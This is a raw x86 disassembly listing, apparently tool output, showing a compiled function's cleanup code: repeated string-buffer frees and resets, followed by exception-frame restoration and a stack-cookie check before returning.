push edx
call fcn.004376a7
mov ecx, dword [ebp - 0x794]
add esp, 4
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x550]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.0042bf10
mov edi, 0x10
cmp dword [ebp - 0x4ac], edi
jb 0x412f31
mov ecx, dword [ebp - 0x4c0]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x4ac], esi
mov dword [ebp - 0x4b0], ebx
mov byte [ebp - 0x4c0], bl
cmp dword [ebp - 0x490], edi
jb 0x412f5a
mov edx, dword [ebp - 0x4a4]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x490], esi
mov dword [ebp - 0x494], ebx
mov byte [ebp - 0x4a4], bl
cmp dword [ebp - 0x458], edi
jb 0x412f83
mov eax, dword [ebp - 0x46c]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x458], esi
mov dword [ebp - 0x45c], ebx
mov byte [ebp - 0x46c], bl
cmp dword [ebp - 0x4e4], edi
jb 0x412fac
mov ecx, dword [ebp - 0x4f8]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x4e4], esi
mov dword [ebp - 0x4e8], ebx
mov byte [ebp - 0x4f8], bl
cmp dword [ebp - 0x4c8], edi
jb 0x412fd5
mov edx, dword [ebp - 0x4dc]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x4c8], esi
mov dword [ebp - 0x4cc], ebx
mov byte [ebp - 0x4dc], bl
cmp dword [ebp - 0x43c], edi
jb 0x412ffe
mov eax, dword [ebp - 0x450]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x43c], esi
mov dword [ebp - 0x440], ebx
mov byte [ebp - 0x450], bl
cmp dword [ebp - 0x538], edi
jb 0x413027
mov ecx, dword [ebp - 0x54c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x538], esi
mov dword [ebp - 0x53c], ebx
mov byte [ebp - 0x54c], bl
cmp dword [ebp - 0x580], edi
jb 0x413050
mov edx, dword [ebp - 0x594]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x580], esi
mov dword [ebp - 0x584], ebx
mov byte [ebp - 0x594], bl
cmp dword [ebp - 0x5d4], edi
jb 0x413079
mov eax, dword [ebp - 0x5e8]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x5d4], esi
mov dword [ebp - 0x5d8], ebx
mov byte [ebp - 0x5e8], bl
cmp dword [ebp - 0x5b8], edi
jb 0x4130a2
mov ecx, dword [ebp - 0x5cc]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x5b8], esi
mov dword [ebp - 0x5bc], ebx
mov byte [ebp - 0x5cc], bl
cmp dword [ebp - 0x59c], edi
jb 0x4130cb
mov edx, dword [ebp - 0x5b0]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x59c], esi
mov dword [ebp - 0x5a0], ebx
mov byte [ebp - 0x5b0], bl
cmp dword [ebp - 0x51c], edi
jb 0x4130f4
mov eax, dword [ebp - 0x530]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x51c], esi
mov dword [ebp - 0x520], ebx
mov byte [ebp - 0x530], bl
cmp dword [ebp - 0x554], edi
jb 0x41311d
mov ecx, dword [ebp - 0x568]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x554], esi
mov dword [ebp - 0x558], ebx
mov byte [ebp - 0x568], bl
cmp dword [ebp - 0x474], edi
jb 0x413146
mov edx, dword [ebp - 0x488]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x474], esi
mov dword [ebp - 0x478], ebx
mov byte [ebp - 0x488], bl
cmp dword [ebp - 0x500], edi
jb 0x41316f
mov eax, dword [ebp - 0x514]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x500], esi
mov dword [ebp - 0x504], ebx
mov byte [ebp - 0x514], bl
cmp dword [ebp + 0x24], edi
jb 0x413192
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp + 0x24], esi
mov dword [ebp + 0x20], ebx
mov byte [ebp + 0x10], bl
cmp dword [ebp + 0x40], edi
jb 0x4131ac
mov edx, dword [ebp + 0x2c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp + 0x40], esi
mov dword [ebp + 0x3c], ebx
mov byte [ebp + 0x2c], bl
cmp dword [ebp + 0x5c], edi
jb 0x4131c6
mov eax, dword [ebp + 0x48]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp + 0x5c], esi
mov dword [ebp + 0x58], ebx
mov byte [ebp + 0x48], bl
cmp dword [ebp + 0x78], edi
jb 0x413232
mov ecx, dword [ebp + 0x64]
push ecx
call fcn.00434321
add esp, 4
jmp 0x413232
mov eax, dword [ebp - 0x794]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.0043432c
mov esp, ebp
pop ebp
ret